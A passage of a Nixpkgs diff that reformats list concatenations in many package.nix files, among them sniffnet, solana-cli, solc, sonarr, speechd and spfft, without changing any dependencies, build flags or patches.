-      wrapGAppsHook3
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    python3
+  ]
+  ++ lib.optionals withGtk [
+    cmake
+    ninja
+    wrapGAppsHook3
+  ];
 
-  buildInputs =
-    [
-      libX11
-      libXv
-      minizip
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      pulseaudio
-      libselinux
-      util-linuxMinimal # provides libmount
-    ]
-    ++ lib.optionals (!withGtk) [
-      libpng
-      libXext
-      libXinerama
-    ]
-    ++ lib.optionals withGtk [
-      gtkmm3
-      libepoxy
-      libXdmcp
-      libXrandr
-      pcre2
-      portaudio
-      SDL2
-    ];
+  buildInputs = [
+    libX11
+    libXv
+    minizip
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    pulseaudio
+    libselinux
+    util-linuxMinimal # provides libmount
+  ]
+  ++ lib.optionals (!withGtk) [
+    libpng
+    libXext
+    libXinerama
+  ]
+  ++ lib.optionals withGtk [
+    gtkmm3
+    libepoxy
+    libXdmcp
+    libXrandr
+    pcre2
+    portaudio
+    SDL2
+  ];
 
   hardeningDisable = [ "format" ];
 
diff --git a/pkgs/by-name/sn/sniffglue/package.nix b/pkgs/by-name/sn/sniffglue/package.nix
index 459d2fb5f576..87f9b85dd8b7 100644
--- a/pkgs/by-name/sn/sniffglue/package.nix
+++ b/pkgs/by-name/sn/sniffglue/package.nix
@@ -24,13 +24,12 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [
-      libpcap
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libseccomp
-    ];
+  buildInputs = [
+    libpcap
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libseccomp
+  ];
 
   meta = with lib; {
     description = "Secure multithreaded packet sniffer";
diff --git a/pkgs/by-name/sn/sniffnet/package.nix b/pkgs/by-name/sn/sniffnet/package.nix
index f8d82b213b31..3932913f19da 100644
--- a/pkgs/by-name/sn/sniffnet/package.nix
+++ b/pkgs/by-name/sn/sniffnet/package.nix
@@ -31,24 +31,23 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [
-      libpcap
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      expat
-      fontconfig
-      vulkan-loader
-      xorg.libX11
-      xorg.libXcursor
-      xorg.libXi
-      xorg.libXrandr
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      rustPlatform.bindgenHook
-    ];
+  buildInputs = [
+    libpcap
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    expat
+    fontconfig
+    vulkan-loader
+    xorg.libX11
+    xorg.libXcursor
+    xorg.libXi
+    xorg.libXrandr
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    rustPlatform.bindgenHook
+  ];
 
   # requires internet access
   checkFlags = [
diff --git a/pkgs/by-name/sn/snobol4/package.nix b/pkgs/by-name/sn/snobol4/package.nix
index 4fda12fcaa52..cf58f22731a5 100644
--- a/pkgs/by-name/sn/snobol4/package.nix
+++ b/pkgs/by-name/sn/snobol4/package.nix
@@ -40,19 +40,18 @@ stdenv.mkDerivation rec {
     gzip
   ];
   # enable all features (undocumented, based on manual review of configure script)
-  buildInputs =
-    [
-      bzip2
-      libffi
-      openssl
-      readline
-      sqlite
-      tcl
-      xz
-      zlib
-    ]
-    # ndbm compat library
-    ++ lib.optional stdenv.hostPlatform.isLinux gdbm;
+  buildInputs = [
+    bzip2
+    libffi
+    openssl
+    readline
+    sqlite
+    tcl
+    xz
+    zlib
+  ]
+  # ndbm compat library
+  ++ lib.optional stdenv.hostPlatform.isLinux gdbm;
   configureFlags = lib.optional (tcl != null) "--with-tcl=${tcl}/lib/tclConfig.sh";
 
   # INSTALL says "parallel make will fail"
diff --git a/pkgs/by-name/so/so/package.nix b/pkgs/by-name/so/so/package.nix
index ad1150c4b03e..79cce36bc2b8 100644
--- a/pkgs/by-name/so/so/package.nix
+++ b/pkgs/by-name/so/so/package.nix
@@ -28,11 +28,12 @@ let
 
     nativeBuildInputs = [ pkg-config ];
 
-    buildInputs =
-      [ openssl ]
-      ++ lib.optionals stdenv.hostPlatform.isDarwin [
-        libiconv
-      ];
+    buildInputs = [
+      openssl
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      libiconv
+    ];
 
     strictDeps = true;
 
diff --git a/pkgs/by-name/so/soapyaudio/package.nix b/pkgs/by-name/so/soapyaudio/package.nix
index ce2be6ec8a68..3d1951575142 100644
--- a/pkgs/by-name/so/soapyaudio/package.nix
+++ b/pkgs/by-name/so/soapyaudio/package.nix
@@ -28,18 +28,17 @@ stdenv.mkDerivation rec {
     cmake
     pkg-config
   ];
-  buildInputs =
-    [
-      hamlib
-      rtaudio
-      libjack2
-      libusb1
-      soapysdr
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      libpulseaudio
-    ];
+  buildInputs = [
+    hamlib
+    rtaudio
+    libjack2
+    libusb1
+    soapysdr
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    libpulseaudio
+  ];
 
   cmakeFlags = [
     "-DSoapySDR_DIR=${soapysdr}/share/cmake/SoapySDR/"
diff --git a/pkgs/by-name/so/sockperf/package.nix b/pkgs/by-name/so/sockperf/package.nix
index 7a1415d2e1f3..f9a77af542a3 100644
--- a/pkgs/by-name/so/sockperf/package.nix
+++ b/pkgs/by-name/so/sockperf/package.nix
@@ -24,10 +24,11 @@ stdenv.mkDerivation rec {
     doxygen
   ];
 
-  configureFlags =
-    [ "--enable-doc" ]
-    ++ lib.optional enableTest "--enable-test"
-    ++ lib.optional enableTool "--enable-tool";
+  configureFlags = [
+    "--enable-doc"
+  ]
+  ++ lib.optional enableTest "--enable-test"
+  ++ lib.optional enableTool "--enable-tool";
 
   doCheck = true;
 
diff --git a/pkgs/by-name/so/sogo/package.nix b/pkgs/by-name/so/sogo/package.nix
index 797f5ca2668b..4be169a9821c 100644
--- a/pkgs/by-name/so/sogo/package.nix
+++ b/pkgs/by-name/so/sogo/package.nix
@@ -52,7 +52,8 @@ clangStdenv.mkDerivation rec {
     openldap
     oath-toolkit
     libxcrypt
-  ] ++ lib.optional enableActiveSync libwbxml;
+  ]
+  ++ lib.optional enableActiveSync libwbxml;
 
   patches = lib.optional enableActiveSync ./enable-activesync.patch;
 
diff --git a/pkgs/by-name/so/solana-cli/package.nix b/pkgs/by-name/so/solana-cli/package.nix
index cf8a4471b41b..6247500776f3 100644
--- a/pkgs/by-name/so/solana-cli/package.nix
+++ b/pkgs/by-name/so/solana-cli/package.nix
@@ -12,29 +12,28 @@
   nix-update-script,
   versionCheckHook,
   # Taken from https://github.com/solana-labs/solana/blob/master/scripts/cargo-install-all.sh#L84
-  solanaPkgs ?
-    [
-      "cargo-build-bpf"
-      "cargo-test-bpf"
-      "cargo-build-sbf"
-      "cargo-test-sbf"
-      "solana"
-      "solana-bench-tps"
-      "solana-faucet"
-      "solana-gossip"
-      "solana-install"
-      "solana-keygen"
-      "solana-ledger-tool"
-      "solana-log-analyzer"
-      "solana-net-shaper"
-      "solana-validator"
-      "solana-test-validator"
-    ]
-    ++ [
-      # XXX: Ensure `solana-genesis` is built LAST!
-      # See https://github.com/solana-labs/solana/issues/5826
-      "solana-genesis"
-    ],
+  solanaPkgs ? [
+    "cargo-build-bpf"
+    "cargo-test-bpf"
+    "cargo-build-sbf"
+    "cargo-test-sbf"
+    "solana"
+    "solana-bench-tps"
+    "solana-faucet"
+    "solana-gossip"
+    "solana-install"
+    "solana-keygen"
+    "solana-ledger-tool"
+    "solana-log-analyzer"
+    "solana-net-shaper"
+    "solana-validator"
+    "solana-test-validator"
+  ]
+  ++ [
+    # XXX: Ensure `solana-genesis` is built LAST!
+    # See https://github.com/solana-labs/solana/issues/5826
+    "solana-genesis"
+  ],
 }:
 let
   version = "1.18.26";
@@ -85,7 +84,8 @@ rustPlatform.buildRustPackage rec {
   buildInputs = [
     openssl
     rustPlatform.bindgenHook
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ udev ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ udev ];
 
   doInstallCheck = true;
 
diff --git a/pkgs/by-name/so/solc/package.nix b/pkgs/by-name/so/solc/package.nix
index 1138ebbd1e08..0edaea143d2a 100644
--- a/pkgs/by-name/so/solc/package.nix
+++ b/pkgs/by-name/so/solc/package.nix
@@ -75,34 +75,34 @@ let
               "BOOST_TEST(fabs"
         '';
 
-        cmakeFlags =
-          [
-            "-DBoost_USE_STATIC_LIBS=OFF"
+        cmakeFlags = [
+          "-DBoost_USE_STATIC_LIBS=OFF"
 
-          ]
-          ++ (
-            if z3Support then
-              [
-                "-DSTRICT_Z3_VERSION=OFF"
-              ]
-            else
-              [
-                "-DUSE_Z3=OFF"
-              ]
-          )
-          ++ lib.optionals (!cvc4Support) [
-            "-DUSE_CVC4=OFF"
-          ];
+        ]
+        ++ (
+          if z3Support then
+            [
+              "-DSTRICT_Z3_VERSION=OFF"
+            ]
+          else
+            [
+              "-DUSE_Z3=OFF"
+            ]
+        )
+        ++ lib.optionals (!cvc4Support) [
+          "-DUSE_CVC4=OFF"
+        ];
 
         nativeBuildInputs = [ cmake ];
-        buildInputs =
-          [ boost ]
-          ++ lib.optionals z3Support [ z3 ]
-          ++ lib.optionals cvc4Support [
-            cvc4
-            cln
-            gmp
-          ];
+        buildInputs = [
+          boost
+        ]
+        ++ lib.optionals z3Support [ z3 ]
+        ++ lib.optionals cvc4Support [
+          cvc4
+          cln
+          gmp
+        ];
         nativeCheckInputs = [
           jq
           ncurses
diff --git a/pkgs/by-name/so/sonarr/package.nix b/pkgs/by-name/so/sonarr/package.nix
index dbb67d410bca..aabc9c7514b2 100644
--- a/pkgs/by-name/so/sonarr/package.nix
+++ b/pkgs/by-name/so/sonarr/package.nix
@@ -31,27 +31,26 @@ let
       tag = "v${version}";
       hash = "sha256-1lBUkodBDFpJD7pyHAFb8HRLrbK8wyAboX0A2oBQnTM=";
     };
-    patches =
-      [
-        ./nuget-config.patch
-      ]
-      ++ lib.optionals (lib.versionOlder version "5.0") [
-        # See https://github.com/Sonarr/Sonarr/issues/7442 and
-        # https://github.com/Sonarr/Sonarr/pull/7443.
-        # Unfortunately, the .NET 8 upgrade was only merged into the v5 branch,
-        # and it may take some time for that to become stable.
-        # However, the patches cleanly apply to v4 as well.
-        (fetchpatch {
-          name = "dotnet8-compatibility";
-          url = "https://github.com/Sonarr/Sonarr/commit/518f1799dca96a7481004ceefe39be465de3d72d.patch";
-          hash = "sha256-e+/rKZrTf6lWq9bmCAwnZrbEPRkqVmI7qNavpLjfpUE=";
-        })
-        (fetchpatch {
-          name = "dotnet8-darwin-compatibility";
-          url = "https://github.com/Sonarr/Sonarr/commit/1a5fa185d11d2548f45fefb8a0facd3731a946d0.patch";
-          hash = "sha256-6Lzo4ph1StA05+B1xYhWH+BBegLd6DxHiEiaRxGXn7k=";
-        })
-      ];
+    patches = [
+      ./nuget-config.patch
+    ]
+    ++ lib.optionals (lib.versionOlder version "5.0") [
+      # See https://github.com/Sonarr/Sonarr/issues/7442 and
+      # https://github.com/Sonarr/Sonarr/pull/7443.
+      # Unfortunately, the .NET 8 upgrade was only merged into the v5 branch,
+      # and it may take some time for that to become stable.
+      # However, the patches cleanly apply to v4 as well.
+      (fetchpatch {
+        name = "dotnet8-compatibility";
+        url = "https://github.com/Sonarr/Sonarr/commit/518f1799dca96a7481004ceefe39be465de3d72d.patch";
+        hash = "sha256-e+/rKZrTf6lWq9bmCAwnZrbEPRkqVmI7qNavpLjfpUE=";
+      })
+      (fetchpatch {
+        name = "dotnet8-darwin-compatibility";
+        url = "https://github.com/Sonarr/Sonarr/commit/1a5fa185d11d2548f45fefb8a0facd3731a946d0.patch";
+        hash = "sha256-6Lzo4ph1StA05+B1xYhWH+BBegLd6DxHiEiaRxGXn7k=";
+      })
+    ];
   };
   rid = dotnetCorePackages.systemToDotnetRid stdenvNoCC.hostPlatform.system;
 in
diff --git a/pkgs/by-name/so/sonic/package.nix b/pkgs/by-name/so/sonic/package.nix
index 488224eb2724..b40c7b55a9dd 100644
--- a/pkgs/by-name/so/sonic/package.nix
+++ b/pkgs/by-name/so/sonic/package.nix
@@ -26,13 +26,12 @@ stdenv.mkDerivation {
 
   buildInputs = [ fftw ];
 
-  postInstall =
-    ''
-      installManPage sonic.1
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      install_name_tool -id $out/lib/libsonic.so.0.3.0 $out/lib/libsonic.so.0.3.0
-    '';
+  postInstall = ''
+    installManPage sonic.1
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    install_name_tool -id $out/lib/libsonic.so.0.3.0 $out/lib/libsonic.so.0.3.0
+  '';
 
   meta = with lib; {
     description = "Simple library to speed up or slow down speech";
diff --git a/pkgs/by-name/so/sope/package.nix b/pkgs/by-name/so/sope/package.nix
index 48dbc2e93057..9c4b359b952b 100644
--- a/pkgs/by-name/so/sope/package.nix
+++ b/pkgs/by-name/so/sope/package.nix
@@ -23,18 +23,17 @@ clangStdenv.mkDerivation rec {
     hash = "sha256-6vec2ZgpK5jcKr3c2SLn6fLAun56MDjupWtR6dMdjag=";
   };
 
-  buildInputs =
-    [
-      gnustep-base
-      libxml2
-      openssl
-    ]
-    ++ lib.optional (openldap != null) openldap
-    ++ lib.optionals (mariadb != null) [
-      libmysqlclient
-      mariadb
-    ]
-    ++ lib.optional (libpq != null) libpq;
+  buildInputs = [
+    gnustep-base
+    libxml2
+    openssl
+  ]
+  ++ lib.optional (openldap != null) openldap
+  ++ lib.optionals (mariadb != null) [
+    libmysqlclient
+    mariadb
+  ]
+  ++ lib.optional (libpq != null) libpq;
 
   # Configure directories where files are installed to. Everything is automatically
   # put into $out (thanks GNUstep) apart from the makefiles location which is where
@@ -48,16 +47,15 @@ clangStdenv.mkDerivation rec {
     EOF
   '';
 
-  configureFlags =
-    [
-      "--prefix="
-      "--disable-debug"
-      "--enable-xml"
-      "--with-ssl=ssl"
-    ]
-    ++ lib.optional (openldap != null) "--enable-openldap"
-    ++ lib.optional (mariadb != null) "--enable-mysql"
-    ++ lib.optional (libpq != null) "--enable-postgresql";
+  configureFlags = [
+    "--prefix="
+    "--disable-debug"
+    "--enable-xml"
+    "--with-ssl=ssl"
+  ]
+  ++ lib.optional (openldap != null) "--enable-openldap"
+  ++ lib.optional (mariadb != null) "--enable-mysql"
+  ++ lib.optional (libpq != null) "--enable-postgresql";
 
   env = {
     GNUSTEP_CONFIG_FILE = "/build/GNUstep.conf";
diff --git a/pkgs/by-name/so/soundtracker/package.nix b/pkgs/by-name/so/soundtracker/package.nix
index 4fb702a11eb2..373dd28ddd9a 100644
--- a/pkgs/by-name/so/soundtracker/package.nix
+++ b/pkgs/by-name/so/soundtracker/package.nix
@@ -40,13 +40,12 @@ stdenv.mkDerivation (finalAttrs: {
     sed -i -e '/seteuid/d' -e '/setegid/d' app/main.c
   '';
 
-  configureFlags =
-    [
-      "--with-graphics-backend=gdk"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "--disable-alsa"
-    ];
+  configureFlags = [
+    "--with-graphics-backend=gdk"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "--disable-alsa"
+  ];
 
   enableParallelBuilding = true;
 
@@ -63,7 +62,8 @@ stdenv.mkDerivation (finalAttrs: {
     goocanvas
     libxml2
     libsndfile
-  ] ++ lib.optional stdenv.hostPlatform.isLinux alsa-lib;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux alsa-lib;
 
   meta = with lib; {
     description = "Music tracking tool similar in design to the DOS program FastTracker and the Amiga legend ProTracker";
diff --git a/pkgs/by-name/so/soupault/package.nix b/pkgs/by-name/so/soupault/package.nix
index cc3506ca0fbb..e3954d89e29d 100644
--- a/pkgs/by-name/so/soupault/package.nix
+++ b/pkgs/by-name/so/soupault/package.nix
@@ -24,11 +24,12 @@ ocamlPackages.buildDunePackage rec {
     hash = "sha256-patZn5z+ZT3dONdUojSvFgaVOmG1IpVGdehCUh2uRT8=";
   };
 
-  nativeBuildInputs =
-    [ removeReferencesTo ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      darwin.sigtool
-    ];
+  nativeBuildInputs = [
+    removeReferencesTo
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    darwin.sigtool
+  ];
 
   buildInputs = with ocamlPackages; [
     base64
diff --git a/pkgs/by-name/so/sourceHighlight/package.nix b/pkgs/by-name/so/sourceHighlight/package.nix
index 16eaa9e42e6a..df0c538610f2 100644
--- a/pkgs/by-name/so/sourceHighlight/package.nix
+++ b/pkgs/by-name/so/sourceHighlight/package.nix
@@ -23,31 +23,30 @@ stdenv.mkDerivation rec {
     sha256 = "148w47k3zswbxvhg83z38ifi85f9dqcpg7icvvw1cm6bg21x4zrs";
   };
 
-  patches =
-    [
-      # gcc-11 compat upstream patch
-      (fetchpatch {
-        url = "https://git.savannah.gnu.org/cgit/src-highlite.git/patch/?id=904949c9026cb772dc93fbe0947a252ef47127f4";
-        hash = "sha256-h9DyD+pmlQT5dmKjWI9t0gCIYHe7pYkP55LnOqsE0vI=";
-        excludes = [ "ChangeLog" ];
-      })
+  patches = [
+    # gcc-11 compat upstream patch
+    (fetchpatch {
+      url = "https://git.savannah.gnu.org/cgit/src-highlite.git/patch/?id=904949c9026cb772dc93fbe0947a252ef47127f4";
+      hash = "sha256-h9DyD+pmlQT5dmKjWI9t0gCIYHe7pYkP55LnOqsE0vI=";
+      excludes = [ "ChangeLog" ];
+    })
 
-      # Upstream fix for clang-13 and gcc-12 test support
-      (fetchpatch {
-        name = "gcc-12.patch";
-        url = "https://git.savannah.gnu.org/cgit/src-highlite.git/patch/?id=ab9fe5cb9b85c5afab94f2a7f4b6d7d473c14ee9";
-        hash = "sha256-wmSLgLnLuFE+IC6AjxzZp/HEnaOCS1VfY2cac0T7Y+w=";
-      })
-    ]
-    ++ lib.optionals stdenv.cc.isClang [
-      # Adds compatibility with C++17 by removing the `register` storage class specifier.
-      (fetchpatch {
-        name = "remove-register-keyword";
-        url = "https://git.savannah.gnu.org/cgit/src-highlite.git/patch/?id=416b39758dba2c74515584514a959ad1b0ad50d1";
-        hash = "sha256-R5A7IGHhU82EqceMCsuNBanhRz4dFVqiaH8637dr7jw=";
-        includes = [ "lib/*" ];
-      })
-    ];
+    # Upstream fix for clang-13 and gcc-12 test support
+    (fetchpatch {
+      name = "gcc-12.patch";
+      url = "https://git.savannah.gnu.org/cgit/src-highlite.git/patch/?id=ab9fe5cb9b85c5afab94f2a7f4b6d7d473c14ee9";
+      hash = "sha256-wmSLgLnLuFE+IC6AjxzZp/HEnaOCS1VfY2cac0T7Y+w=";
+    })
+  ]
+  ++ lib.optionals stdenv.cc.isClang [
+    # Adds compatibility with C++17 by removing the `register` storage class specifier.
+    (fetchpatch {
+      name = "remove-register-keyword";
+      url = "https://git.savannah.gnu.org/cgit/src-highlite.git/patch/?id=416b39758dba2c74515584514a959ad1b0ad50d1";
+      hash = "sha256-R5A7IGHhU82EqceMCsuNBanhRz4dFVqiaH8637dr7jw=";
+      includes = [ "lib/*" ];
+    })
+  ];
 
   # source-highlight uses it's own binary to generate documentation.
   # During cross-compilation, that binary was built for the target
@@ -60,13 +59,14 @@ stdenv.mkDerivation rec {
   # necessary to build on FreeBSD native pending inclusion of
   # https://git.savannah.gnu.org/cgit/config.git/commit/?id=e4786449e1c26716e3f9ea182caf472e4dbc96e0
   nativeBuildInputs = [ updateAutotoolsGnuConfigScriptsHook ];
-  buildInputs =
-    [ boost ]
-    ++ lib.optional (stdenv.targetPlatform.useLLVM or false) (
-      llvmPackages.compiler-rt.override {
-        doFakeLibgcc = true;
-      }
-    );
+  buildInputs = [
+    boost
+  ]
+  ++ lib.optional (stdenv.targetPlatform.useLLVM or false) (
+    llvmPackages.compiler-rt.override {
+      doFakeLibgcc = true;
+    }
+  );
 
   configureFlags = [
     "--with-boost=${boost.out}"
diff --git a/pkgs/by-name/sp/spaceFM/package.nix b/pkgs/by-name/sp/spaceFM/package.nix
index da44ad45380c..e7180c74a156 100644
--- a/pkgs/by-name/sp/spaceFM/package.nix
+++ b/pkgs/by-name/sp/spaceFM/package.nix
@@ -81,7 +81,8 @@ stdenv.mkDerivation rec {
     jmtpfs
     lsof
     udisks2
-  ] ++ (lib.optionals ifuseSupport [ ifuse ]);
+  ]
+  ++ (lib.optionals ifuseSupport [ ifuse ]);
   # Introduced because ifuse doesn't build due to CVEs in libplist
   # Revert when libplist builds again…
 
diff --git a/pkgs/by-name/sp/spade/package.nix b/pkgs/by-name/sp/spade/package.nix
index 657976b3d2cb..2417db5f7606 100644
--- a/pkgs/by-name/sp/spade/package.nix
+++ b/pkgs/by-name/sp/spade/package.nix
@@ -55,7 +55,8 @@ rustPlatform.buildRustPackage rec {
 
   buildInputs = [
     openssl
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ python312 ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ python312 ];
   env.NIX_CFLAGS_LINK = lib.optionalString stdenv.hostPlatform.isDarwin "-L${python312}/lib/python3.12/config-3.12-darwin -lpython3.12";
 
   passthru.tests = {
diff --git a/pkgs/by-name/sp/spatialite-gui/package.nix b/pkgs/by-name/sp/spatialite-gui/package.nix
index b9c2bb58678f..88193e2cbe8f 100644
--- a/pkgs/by-name/sp/spatialite-gui/package.nix
+++ b/pkgs/by-name/sp/spatialite-gui/package.nix
@@ -37,7 +37,8 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     libpq.pg_config
     pkg-config
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
 
   buildInputs = [
     curl
diff --git a/pkgs/by-name/sp/speech-tools/package.nix b/pkgs/by-name/sp/speech-tools/package.nix
index dfdfa5ee4985..262c2b406e3e 100644
--- a/pkgs/by-name/sp/speech-tools/package.nix
+++ b/pkgs/by-name/sp/speech-tools/package.nix
@@ -24,13 +24,12 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  buildInputs =
-    [
-      ncurses
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-    ];
+  buildInputs = [
+    ncurses
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+  ];
 
   makeFlags = [
     "CC=${stdenv.cc.targetPrefix}cc"
diff --git a/pkgs/by-name/sp/speechd/package.nix b/pkgs/by-name/sp/speechd/package.nix
index b4725c27ba3a..6155290c6ceb 100644
--- a/pkgs/by-name/sp/speechd/package.nix
+++ b/pkgs/by-name/sp/speechd/package.nix
@@ -46,20 +46,19 @@ stdenv.mkDerivation (finalAttrs: {
     sha256 = "sha256-sUpSONKH0tzOTdQrvWbKZfoijn5oNwgmf3s0A297pLQ=";
   };
 
-  patches =
-    [
-      (replaceVars ./fix-paths.patch {
-        utillinux = util-linux;
-        # patch context
-        bindir = null;
-      })
-    ]
-    ++ lib.optionals (withEspeak && espeak.mbrolaSupport) [
-      # Replace FHS paths.
-      (replaceVars ./fix-mbrola-paths.patch {
-        inherit mbrola;
-      })
-    ];
+  patches = [
+    (replaceVars ./fix-paths.patch {
+      utillinux = util-linux;
+      # patch context
+      bindir = null;
+    })
+  ]
+  ++ lib.optionals (withEspeak && espeak.mbrolaSupport) [
+    # Replace FHS paths.
+    (replaceVars ./fix-mbrola-paths.patch {
+      inherit mbrola;
+    })
+  ];
 
   nativeBuildInputs = [
     pkg-config
@@ -71,62 +70,60 @@ stdenv.mkDerivation (finalAttrs: {
     wrapPython
   ];
 
-  buildInputs =
-    [
-      glib
-      dotconf
-      libsndfile
-      libao
-      libpulseaudio
-      python
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      systemdMinimal # libsystemd
-    ]
-    ++ lib.optionals withAlsa [
-      alsa-lib
-    ]
-    ++ lib.optionals withEspeak [
-      espeak
-      sonic
-      pcaudiolib
-    ]
-    ++ lib.optionals withFlite [
-      flite
-    ]
-    ++ lib.optionals withPico [
-      svox
-    ];
+  buildInputs = [
+    glib
+    dotconf
+    libsndfile
+    libao
+    libpulseaudio
+    python
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    systemdMinimal # libsystemd
+  ]
+  ++ lib.optionals withAlsa [
+    alsa-lib
+  ]
+  ++ lib.optionals withEspeak [
+    espeak
+    sonic
+    pcaudiolib
+  ]
+  ++ lib.optionals withFlite [
+    flite
+  ]
+  ++ lib.optionals withPico [
+    svox
+  ];
 
   pythonPath = [
     pyxdg
   ];
 
-  configureFlags =
-    [
-      # Audio method falls back from left to right.
-      "--with-default-audio-method=\"libao,pulse,alsa,oss\""
-      "--with-systemdsystemunitdir=${placeholder "out"}/lib/systemd/system"
-      "--with-systemduserunitdir=${placeholder "out"}/lib/systemd/user"
-    ]
-    ++ lib.optionals withPulse [
-      "--with-pulse"
-    ]
-    ++ lib.optionals withAlsa [
-      "--with-alsa"
-    ]
-    ++ lib.optionals withLibao [
-      "--with-libao"
-    ]
-    ++ lib.optionals withOss [
-      "--with-oss"
-    ]
-    ++ lib.optionals withEspeak [
-      "--with-espeak-ng"
-    ]
-    ++ lib.optionals withPico [
-      "--with-pico"
-    ];
+  configureFlags = [
+    # Audio method falls back from left to right.
+    "--with-default-audio-method=\"libao,pulse,alsa,oss\""
+    "--with-systemdsystemunitdir=${placeholder "out"}/lib/systemd/system"
+    "--with-systemduserunitdir=${placeholder "out"}/lib/systemd/user"
+  ]
+  ++ lib.optionals withPulse [
+    "--with-pulse"
+  ]
+  ++ lib.optionals withAlsa [
+    "--with-alsa"
+  ]
+  ++ lib.optionals withLibao [
+    "--with-libao"
+  ]
+  ++ lib.optionals withOss [
+    "--with-oss"
+  ]
+  ++ lib.optionals withEspeak [
+    "--with-espeak-ng"
+  ]
+  ++ lib.optionals withPico [
+    "--with-pico"
+  ];
 
   postPatch = lib.optionalString withPico ''
     substituteInPlace src/modules/pico.c --replace "/usr/share/pico/lang" "${svox}/share/pico/lang"
diff --git a/pkgs/by-name/sp/spfft/package.nix b/pkgs/by-name/sp/spfft/package.nix
index a1b0279b080b..bc0618b78aa8 100644
--- a/pkgs/by-name/sp/spfft/package.nix
+++ b/pkgs/by-name/sp/spfft/package.nix
@@ -40,39 +40,38 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     cmake
     gfortran
-  ] ++ lib.optional (gpuBackend == "cuda") cudaPackages.cuda_nvcc;
+  ]
+  ++ lib.optional (gpuBackend == "cuda") cudaPackages.cuda_nvcc;
 
-  buildInputs =
-    [
-      fftw
-      mpi
-    ]
-    ++ lib.optionals (gpuBackend == "cuda") [
-      cudaPackages.libcufft
-      cudaPackages.cuda_cudart
-    ]
-    ++ lib.optionals (gpuBackend == "rocm") [
-      rocmPackages.clr
-      rocmPackages.rocfft
-      rocmPackages.hipfft
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin llvmPackages.openmp;
+  buildInputs = [
+    fftw
+    mpi
+  ]
+  ++ lib.optionals (gpuBackend == "cuda") [
+    cudaPackages.libcufft
+    cudaPackages.cuda_cudart
+  ]
+  ++ lib.optionals (gpuBackend == "rocm") [
+    rocmPackages.clr
+    rocmPackages.rocfft
+    rocmPackages.hipfft
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin llvmPackages.openmp;
 
-  cmakeFlags =
-    [
-      "-DSPFFT_OMP=ON"
-      "-DSPFFT_MPI=ON"
-      "-DSPFFT_SINGLE_PRECISION=OFF"
-      "-DSPFFT_FORTRAN=ON"
-      # Required due to broken CMake files
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-    ]
-    ++ lib.optional (gpuBackend == "cuda") "-DSPFFT_GPU_BACKEND=CUDA"
-    ++ lib.optionals (gpuBackend == "rocm") [
-      "-DSPFFT_GPU_BACKEND=ROCM"
-      "-DHIP_ROOT_DIR=${rocmPackages.clr}"
-    ];
+  cmakeFlags = [
+    "-DSPFFT_OMP=ON"
+    "-DSPFFT_MPI=ON"
+    "-DSPFFT_SINGLE_PRECISION=OFF"
+    "-DSPFFT_FORTRAN=ON"
+    # Required due to broken CMake files
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+  ]
+  ++ lib.optional (gpuBackend == "cuda") "-DSPFFT_GPU_BACKEND=CUDA"
+  ++ lib.optionals (gpuBackend == "rocm") [
+    "-DSPFFT_GPU_BACKEND=ROCM"
+    "-DHIP_ROOT_DIR=${rocmPackages.clr}"
+  ];
 
   meta = with lib; {
     description = "Sparse 3D FFT library with MPI, OpenMP, CUDA and ROCm support";
diff --git a/pkgs/by-name/sp/sphinxsearch/package.nix b/pkgs/by-name/sp/sphinxsearch/package.nix
index 6b60200ec4a1..395b07b76a32 100644
--- a/pkgs/by-name/sp/sphinxsearch/package.nix
+++ b/pkgs/by-name/sp/sphinxsearch/package.nix
@@ -20,14 +20,13 @@ stdenv.mkDerivation rec {
 
   enableParallelBuilding = true;
 
-  configureFlags =
-    [
-      "--program-prefix=sphinxsearch-"
-      "--enable-id64"
-    ]
